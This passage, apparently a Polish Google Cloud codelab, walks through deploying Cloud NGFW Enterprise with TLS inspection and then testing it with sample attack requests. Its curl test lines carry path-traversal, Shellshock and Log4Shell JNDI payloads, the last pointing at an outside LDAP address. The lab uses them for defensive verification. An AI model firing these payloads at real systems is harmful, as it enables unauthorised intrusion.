Ćwiczenie z programowania w Cloud NGFW Enterprise Codelab [z inspekcją TLS]

1. Wprowadzenie

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall to w pełni rozproszona usługa zapory sieciowej z zaawansowanymi funkcjami ochrony, mikrosegmentacją i wszechstronnym zasięgiem, która chroni zadania Google Cloud przed atakami wewnętrznymi i zewnętrznymi.

Cloud NGFW zapewnia te korzyści:

  • Usługa rozproszonej zapory sieciowej: Cloud NGFW zapewnia stanowe, w pełni rozproszone egzekwowanie zasad na poziomie hosta w przypadku każdego zbioru zadań, co umożliwia stosowanie architektury zabezpieczeń opartej na zasadzie „zero zaufania”.
  • Uproszczona konfiguracja i wdrożenie: Cloud NGFW wdraża zasady sieciowe i hierarchiczne zasady zapory sieciowej, które można dołączyć do węzła hierarchii zasobów. Zasady te zapewniają spójne działanie zapory sieciowej w całej hierarchii zasobów Google Cloud.
  • Szczegółowa kontrola i mikrosegmentacja: połączenie zasad zapory sieciowej i tagów zarządzanych przez Identity and Access Management (IAM) zapewnia szczegółową kontrolę nad ruchem północ-południe i wschód-zachód, aż do pojedynczej maszyny wirtualnej, w sieciach prywatnego środowiska wirtualnego w chmurze (VPC) i organizacjach.

Usługa Cloud NGFW jest dostępna na tych poziomach:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise dodaje do rozproszonej sieci Google Cloud Firewall usługę zapobiegania włamaniom (IPS) i opcjonalne funkcje zaawansowanego trybu piaskownicy złośliwego oprogramowania (WildFire), które są usługami inspekcji warstwy 7. Inspekcja TLS jest obsługiwana, aby umożliwić szczegółową inspekcję i analizę plików w przypadku ruchu zaszyfrowanego za pomocą protokołu TLS.

Możesz teraz wdrażać niezawodne inspekcje zapory sieciowej nowej generacji (NGFW) w warstwie 7 ze szczegółowymi ustawieniami, bez wprowadzania zmian w architekturze sieci lub konfiguracjach routingu.

Aby aktywować i wdrożyć kontrolę zapory sieciowej warstwy 7 z systemem IPS i opcjonalnym zaawansowanym trybem piaskownicy złośliwego oprogramowania, musisz wykonać te czynności:

  • utworzyć zestaw zarządzanych przez Google Cloud strefowych punktów końcowych zapory sieciowej (opcjonalnie włączając zaawansowaną piaskownicę złośliwego oprogramowania);
  • Opcjonalnie możesz utworzyć zasadę inspekcji TLS.
  • Opcjonalnie możesz utworzyć konfigurację zaufania.
  • Powiąż te punkty końcowe z sieciami prywatnego środowiska wirtualnego w chmurze (VPC), w których potrzebujesz usługi Cloud NGFW Enterprise.
  • Wprowadź proste zmiany w istniejących zasadach i regułach zapory sieciowej, aby określić profile zabezpieczeń zapobiegania zagrożeniom i opcjonalne profile zabezpieczeń zaawansowanego trybu piaskownicy złośliwego oprogramowania dla różnych ścieżek ruchu.

Zasady zapory sieciowej

Zasada zapory sieciowej działa jako kontener reguł zapory sieciowej. Reguły zdefiniowane w zasadzie zapory sieciowej nie są egzekwowane, dopóki zasada nie zostanie powiązana z siecią VPC. Z każdą siecią VPC może być powiązana jedna zasada zapory sieciowej. Zasady zapory sieciowej obsługują tagi zarządzane przez uprawnienia (lub po prostu tagi) w regułach zapory sieciowej, które zastępują obecne tagi sieci i mogą być używane do identyfikacji zbioru zadań.

Udostępnianie zasady zapory sieciowej w sieciach i integracja z tagami zarządzanymi przez uprawnienia znacznie upraszczają konfigurację zapór sieciowych i zarządzanie nimi.

Wraz z wprowadzeniem zasady zapory sieciowej zasady zapory sieciowej Google Cloud składają się teraz z tych komponentów:

  1. Hierarchiczne zasady zapory sieciowej
  2. Reguły zapory sieciowej VPC
  3. Zasady zapory sieciowej ( globalne i regionalne)

Hierarchiczne zasady zapory sieciowej są obsługiwane w węzłach organizacji i folderów w hierarchii zasobów, natomiast reguły zapory sieciowej VPC i zasady zapory sieciowej są stosowane na poziomie VPC. Duża różnica między regułami zapory sieciowej VPC a zasadami zapory sieciowej polega na tym, że reguły zapory sieciowej VPC można stosować tylko do jednej sieci VPC, podczas gdy zasady zapory sieciowej można dołączać do jednej sieci VPC lub grupy sieci VPC. Oprócz tego zasady zapory sieciowej mają inne zalety, takie jak aktualizacje zbiorcze.

Na koniec mamy też domyślne reguły zapory sieciowej, które są dostępne w każdej sieci VPC:

  • Reguła ruchu wychodzącego, której działanie to zezwolenie, a miejsce docelowe to 0.0.0.0/0
  • Reguła ruchu przychodzącego, której działanie to odmowa, a źródło to 0.0.0.0/0

Domyślnie kolejność egzekwowania jest taka, jak na tym diagramie:

21b3bcabc469ffe.png

Pamiętaj, że kolejność egzekwowania reguł zapory sieciowej VPC i globalnych zasad zapory sieciowej można zamienić. Klienci mogą w każdej chwili określić kolejność egzekwowania za pomocą polecenia gcloud.

Tagi

Nowe tagi zintegrowane z regułami zasad zapory sieciowej to zasoby par klucz-wartość zdefiniowane na poziomie organizacji lub projektu w hierarchii zasobów Google Cloud. Taki tag zawiera ustawienia kontroli dostępu uprawnień, które określają, kto może wykonywać jakie działania na tagu. Na przykład uprawnienia Identity and Access Management (IAM) pozwalają określić, które podmioty zabezpieczeń mogą przypisywać wartości do tagów, a które mogą dołączać tagi do zasobów. Jeśli reguła zapory sieciowej odwołuje się do tagu, musi zostać zastosowana do zasobu, aby była egzekwowana.

Tagi są zgodne z modelem zasobów dziedziczenia Google Cloud, co oznacza, że tagi i ich wartości są przekazywane w hierarchii z elementów nadrzędnych. W rezultacie tagi mogą być tworzone w jednym miejscu, a następnie używane przez inne foldery i projekty w całej hierarchii zasobów. Szczegółowe informacje o tagach i ograniczeniach dostępu znajdziesz na tej stronie.

Tagów nie należy mylić z tagami sieci. Te ostatnie to ciągi znaków, które można dodawać do instancji Compute Engine. Są one powiązane z instancją i znikają, gdy instancja zostanie wycofana. Reguły zapory sieciowej VPC mogą zawierać tagi sieci, ale ponieważ nie są one traktowane jako zasoby w chmurze, nie podlegają kontroli dostępu IAM.

Pamiętaj, że w tym dokumencie tagi i tagi zarządzane przez uprawnienia są używane zamiennie.

Co utworzysz

To ćwiczenie wymaga jednego projektu oraz możliwości utworzenia sieci VPC i zarządzania wieloma zasobami sieciowymi i zabezpieczeniami. Pokażemy, jak Cloud NGFW Enterprise może zapewniać funkcje systemu zapobiegania włamaniom (IPS) i zaawansowanego trybu piaskownicy złośliwego oprogramowania (WildFire) przez:

  • Sprawdzanie ruchu internetowego w kierunku północnym za pomocą inspekcji TLS
  • Sprawdzanie przepływów wewnątrz sieci VPC [wschód-zachód] za pomocą inspekcji TLS
  • [Opcjonalnie] Konfigurowanie i weryfikowanie przesyłania plików do zaawansowanej piaskownicy złośliwego oprogramowania oraz analizy śledczej pod kątem nieznanych zagrożeń związanych z plikami w ruchu sprawdzanym przez TLS

Przepływy do sprawdzenia zostaną wybrane za pomocą parametrów dopasowania Cloud Firewall, w tym 5-krotki (źródłowy adres IP, docelowy adres IP, protokół, port źródłowy, port docelowy) i tagów.

3d0f288d3b92a295.png

Stan końcowy bazy reguł zasad zapory sieciowej będzie podobny do tego w tabeli poniżej:

Priorytet

Kierunek

Target

Źródło

Cel

Działanie

Typ

100

Ruch przychodzący

Server_Tag

Kontrole stanu

Dowolna

Zezwól

Essentials

200

Ruch przychodzący

Client_Tag, Server_Tag

IAP

Dowolna

Zezwól

Essentials

800

Ruch przychodzący

Server_Tag

10.0.0.0/24

10.0.0.0/24

Inspekcja L7

Enterprise

850

Ruch wychodzący

Client_Tag

Dowolna

10.0.0.0/24

Zezwól

Essentials

900

Ruch wychodzący

Client_Tag

Dowolna

Dowolna

Inspekcja L7

Enterprise

Czego się nauczysz

  • Jak utworzyć zasadę zapory sieciowej.
  • jak tworzyć i używać tagów z zasadą zapory sieciowej.
  • Jak skonfigurować Cloud NGFW Enterprise z inspekcją TLS i z niego korzystać.
  • [Opcjonalnie] Jak skonfigurować i zweryfikować zaawansowany tryb piaskownicy złośliwego oprogramowania (WildFire) pod kątem nieznanych zagrożeń związanych z plikami.

Czego potrzebujesz

  • Projekt Google Cloud.
  • Wiedza na temat wdrażania instancji i konfigurowania komponentów sieciowych.
  • znajomość konfiguracji zapory sieciowej VPC,

2. Zanim zaczniesz

Tworzenie i aktualizowanie zmiennych

W tym ćwiczeniu wykorzystujemy zmienne $, aby ułatwić implementację konfiguracji gcloud w Cloud Shell.

W Cloud Shell uruchom poniższe polecenia, zastępując informacje w nawiasach kwadratowych zgodnie z potrzebami:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Włącz interfejsy API

Włącz interfejsy API, jeśli jeszcze nie zostały włączone:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tworzenie punktu końcowego Cloud NGFW Enterprise

Utworzenie punktu końcowego Cloud NGFW Enterprise zajmuje około 20 minut, dlatego zostanie on utworzony jako pierwszy, a podstawową konfigurację można przeprowadzić równolegle podczas tworzenia punktu końcowego.

Utwórz profil zabezpieczeń i grupę profili zabezpieczeń:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Oczekiwane dane wyjściowe:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Sprawdź, czy zasoby zostały utworzone:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Oczekiwane dane wyjściowe (pamiętaj, że format danych wyjściowych może się różnić w zależności od używanego klienta):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Utwórz punkt końcowy Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Uruchom poniższe polecenie, aby sprawdzić, czy punkt końcowy jest tworzony (CREATING) lub czy jest aktywny (ACTIVE), jeśli użyto --no-async.

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwane dane wyjściowe (pamiętaj, że format danych wyjściowych może się różnić w zależności od używanego klienta):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Opcjonalnie możesz uruchomić poniższe polecenie, aby uzyskać więcej informacji:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Proces tworzenia trwa około 20 minut. Przejdź do sekcji Konfiguracja podstawowa, aby utworzyć wymagane zasoby równolegle.

5. Konfiguracja podstawowa

Sieć VPC i podsieć

Sieć VPC i podsieć

Utwórz sieć VPC i podsieć:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Utwórz router Cloud Router i bramę Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instancje

Utwórz instancje klienta i serwera WWW:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tagi na poziomie projektu

W razie potrzeby przypisz użytkownikowi uprawnienia tagAdmin:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Utwórz klucz i wartości tagu na poziomie projektu:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Powiąż tagi z instancjami:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Zasady zapory sieciowej sieci globalnej

Utwórz zasadę zapory sieciowej sieci globalnej:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Utwórz wymagane reguły Cloud Firewall Essential, aby zezwolić na ruch z zakresów health-check i identity-aware proxy:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Utwórz wymagane reguły Cloud Firewall, aby zezwolić na ruch przychodzący wschód-zachód / wewnątrz podsieci z określonych zakresów (te reguły zostaną zaktualizowane, aby włączyć Cloud NGFW Enterprise z inspekcją TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Powiąż zasadę zapory sieciowej Cloud z siecią VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Powiązanie punktu końcowego Cloud Firewall

Zdefiniuj zmienne środowiskowe, jeśli nie zostały jeszcze zdefiniowane lub jeśli wolisz użyć skryptu.

Sprawdź, czy punkt końcowy Cloud Firewall został utworzony. Przejdź dalej dopiero wtedy, gdy stan będzie wyświetlany jako AKTYWNY (podczas tworzenia oczekiwany stan to TWORZENIE):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwane dane wyjściowe (pamiętaj, że format danych wyjściowych może się różnić w zależności od używanego klienta):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Opcjonalnie możesz uruchomić poniższe polecenie, aby uzyskać więcej informacji:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Powiąż punkt końcowy Cloud Firewall z siecią VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Proces powiązania trwa około 10 minut. Przejdź do sekcji TLS dopiero wtedy, gdy stan będzie wyświetlany jako AKTYWNY (podczas tworzenia oczekiwany stan to TWORZENIE):

gcloud network-security firewall-endpoint-associations list

Oczekiwane dane wyjściowe po zakończeniu:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Opcjonalnie możesz uruchomić poniższe polecenie, aby uzyskać więcej informacji:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Konfigurowanie zasobów TLS

Utwórz pulę urzędów certyfikacji. Ten zasób będzie używany do przechowywania certyfikatu CA, który wygenerujemy dla NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Utwórz główny urząd certyfikacji. To jest certyfikat CA, który będzie używany do podpisywania dodatkowych certyfikatów dla żądań wysyłanych przez NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Jeśli pojawi się poniższy komunikat, wpisz y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Utwórz konto usługi. To konto usługi będzie używane do żądania certyfikatów dla NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Ustaw uprawnienia konta usługi:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Utwórz plik YAML zasady TLS. Ten plik będzie zawierać informacje o konkretnych zasobach:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Zaimportuj zasadę inspekcji TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Zaktualizuj powiązanie punktu końcowego, aby włączyć TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Pobierz certyfikat CA i dodaj go do magazynu CA klienta:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Przenieś certyfikat CA do klienta:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Połącz się z maszyną wirtualną przez SSH, przenieś certyfikat CA do katalogu /usr/local/share/ca-certificates i zaktualizuj magazyn CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Wróć do Cloud Shell.

Proces podpisywania certyfikatu serwera:

W Cloud Shell zainstaluj bibliotekę kryptograficzną Pyca za pomocą polecenia pip:

pip install --user "cryptography>=2.2.0"

Aby umożliwić pakietowi Google Cloud SDK korzystanie z biblioteki kryptograficznej Pyca, musisz włączyć pakiety witryn.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Utwórz certyfikat serwera:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

Spowoduje to wygenerowanie plików cert.pem i key.pem w Cloud Shell. Następnie przenieś certyfikat i klucz na serwer.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Połącz się z serwerem przez SSH, aby zaktualizować dane certyfikatu dla Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Przenieś certyfikat i klucz do określonego folderu:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Zaktualizuj konfigurację SSL, aby używać podpisanego certyfikatu:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Uruchom ponownie Apache:

sudo systemctl restart apache2

Sprawdź stan serwera Apache:

sudo systemctl status apache2

Powinien być aktywny (uruchomiony).

Opuść maszynę wirtualną i kontynuuj w Cloud Shell.

8. Sprawdzanie połączeń Northbound i E/W

Uruchom w Cloud Shell poniższe polecenia i zapisz docelowe adresy IP, które zostaną użyte:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Otwórz nową kartę i nawiąż połączenie SSH z kliencką maszyną wirtualną przez IAP (musisz zdefiniować zmienne na nowej karcie):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Uruchom wskazane poniżej polecenia i zanotuj docelowe adresy IP, które będą używane. Utwórz zmienne, zastępując wartości w nawiasach adresami IP zanotowanymi w poprzednim kroku, i upewnij się, że są one dostępne:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Wywołaj prywatny adres IP za pomocą polecenia curl i sprawdź, czy jest on dostępny:

curl https://$target_privateip --max-time 2

Oczekiwane wyniki żądania curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Wyślij przykładowe ataki na adres IP. Serwer WWW powinien odpowiadać na wszystkie żądania, potwierdzając, że nie jest przeprowadzana inspekcja L7 ani nie są stosowane środki zapobiegawcze:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Przykładowe oczekiwane wyniki (prywatny adres IP):

400
404
400
200
200

Podobnie wysyłaj żądania do miejsca docelowego w internecie:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Przykładowe oczekiwane wyniki (miejsce docelowe w internecie):

400
404
400
403
403

Zamknij terminal maszyny wirtualnej i wróć do Cloud Shell.

9. Tworzenie i aktualizowanie reguł zapory sieciowej na potrzeby inspekcji TLS

Wcześniej skonfigurowaliśmy regułę zapory sieciowej, aby zezwalać na ruch przychodzący do naszego serwera z podsieci wewnętrznej. Teraz zaktualizujemy istniejące reguły ruchu przychodzącego i ustawimy działanie na apply_security_profile_group. Spowoduje to włączenie inspekcji L7 ruchu wschód-zachód z TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Utwórz nową regułę, aby sprawdzać inspekcję L7 w kierunku północnym za pomocą TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Utwórz nową regułę zezwalającą na ruch WYCHODZĄCY dla ruchu wschód-zachód, aby zapobiec podwójnej inspekcji.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. Sprawdzanie poprawności inspekcji TLS ruchu wychodzącego

Wróć na kartę klienckiej maszyny wirtualnej lub połącz się ponownie:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Wyślij przykładowe ataki do miejsca docelowego w internecie:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Nie otrzymasz żadnych odpowiedzi, jak w oczekiwanym wyniku poniżej, co potwierdza, że przykładowe ataki są teraz blokowane:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Ustaw zmienną na adres IP serwera z poprzedniego kroku:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Wyślij do serwera przykładowe żądania TLS:

curl https://$target_privateip --max-time 2

Oczekiwane dane wyjściowe:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Dlaczego ta prośba została odrzucona? Dzieje się tak, ponieważ zapora sieciowa otrzymuje z serwera certyfikat, który nie jest zaufany. W takim przypadku do klienta zostanie przekazany certyfikat podpisany samodzielnie. Aby włączyć zaufanie, musimy dodać certyfikat CA jako część konfiguracji zaufania.

Wróć do Cloud Shell.

11. Konfigurowanie konfiguracji zaufania

Pobierz certyfikat CA głównego urzędu certyfikacji i ustaw go jako zmienną z odpowiednim formatowaniem.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Skonfiguruj plik YAML konfiguracji zaufania. Ten plik zawiera szczegółowe informacje o zaufaniu, takie jak certyfikaty CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
